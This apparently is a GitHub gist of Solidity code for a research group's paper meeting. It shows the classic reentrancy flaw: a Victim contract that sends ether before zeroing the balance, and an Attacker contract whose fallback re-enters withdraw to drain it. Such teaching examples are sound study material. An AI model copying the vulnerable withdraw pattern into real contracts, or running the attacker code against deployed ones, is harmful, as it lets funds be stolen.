Skip to content

Instantly share code, notes, and snippets.

@a2468834
Last active May 16, 2022 02:09
Show Gist options
  • Save a2468834/7415c9fc63b75b0ee1a478782eda9c33 to your computer and use it in GitHub Desktop.
Save a2468834/7415c9fc63b75b0ee1a478782eda9c33 to your computer and use it in GitHub Desktop.
2022-05-16 HSNL Paper Meeting
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Victim {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0);
(bool success, ) = msg.sender.call{value: bal}("");
require(success);
balances[msg.sender] = 0;
}
}
contract Attacker {
Victim public victim;
constructor(address victim_address) {
victim = Victim(victim_address);
}
fallback() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
victim.deposit{value: 1 ether}();
victim.withdraw();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment